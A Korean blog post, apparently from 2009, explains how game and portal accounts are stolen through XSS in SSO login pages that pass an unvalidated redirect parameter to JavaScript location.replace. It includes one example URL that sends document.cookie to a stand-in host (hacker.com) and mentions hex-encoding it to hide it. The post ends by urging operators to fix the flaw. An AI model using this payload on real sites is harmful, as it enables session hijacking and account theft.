최근, 게임회사들이 XSS로 유저들의 계정을 도용당해서 곤혹을 앓고 있습니다. XSS로 계정도용을 할 수 있는 기법은 이래저래 많아서 일일히 대응하기가 힘든데요. 어떻게 도용당했는지 알지도 못한체 수습하기만 바쁜 곳도 많은 줄 압니다.
오늘은 그 중에서도 이번에는 SSO를 이용해서 하는 방법에 대해서 공유해보고자 합니다. 보통 포털들이 많은 싸이트와 페이지를 보유하다 보니 SSO(Single Sign On)의 요구는 필수인데요. 문제는 이 SSO 의 리다이렉션 방식에 있습니다.
보통 아래와 같은 흐름을 갖게 되는데요.
http://portal1.site1.com/bbs/board
↓
http://id.site1.com/login.php?redirect=http://portal1.site1.com/bbs/board
↓
http://portal1.site1.com/bbs/board
SSO 사용자 인증이 필요한 페이지에 들어갈때 이런식으로 url 이 생성된다고 할때, 위 싸이트가 자바스크립트를 사용해서 url를 리플레이스할 경우에 문제가 생깁니다. 이를 테면, 자바스크립트 location.replace(redirect); 의 경우 충분히 유저쪽에서 위조가 가능하기 때문이죠. 따라서 iframe이나 기타 다른 방식을 쓰지 않고도 사용자가 자주 접속하는 게시판에 아래 URL하나만 걸쳐놔도 사용자가 클릭하는 경우 세션을 도용하는 게 가능합니다. 그래서 이후의 흐릅은 이렇게 되겠죠.
http://portal1.site1.com/bbs/board
↓
http://id.site1.com/login.php?redirect=http://hacker.com/session_get.php?cookie=+document.cookie);big('aaa
↓
http://portal1.site1.com/bbs/board
위 redirect 이후의 URL은 hex로 충분히 코딩가능하기때문에 사용자가 인식못하게 할 수 있습니다.
헛점은 사용자가 익숙한 로긴창이 나오면 바로 id/pass넣고 로긴을 시도한다는 것이지요. -_-;;;
약간 사회공학적 수법이 되겠내요. SSO를 사용하면서 자바스크립트 리다이렉션을 사용한다면, 어서 수정해 주세요 ㅡ
'해킹기법 정리' 카테고리의 다른 글
| 리눅스 /dev/mem 해킹, 루트킷 만들기... (0) | 2009/10/09 |
|---|---|
| 모바일 데이터 커넥션 미래의 주요 취약점으로 ... (0) | 2009/10/09 |
| SSO 크로스 싸이트 스크립트 (XSS) (0) | 2009/10/09 |
| 레이져와 볼트메터를 사용해서 키보드 훔쳐보기 (0) | 2009/10/09 |
| 가상OS 보안은 에이젼트 스미스 아니 "SADE"에게 ... (0) | 2009/10/09 |
| 공유기 라우터 프린터에 CSRF, XCS, RXCS, XSS 취약점들이... (0) | 2009/10/09 |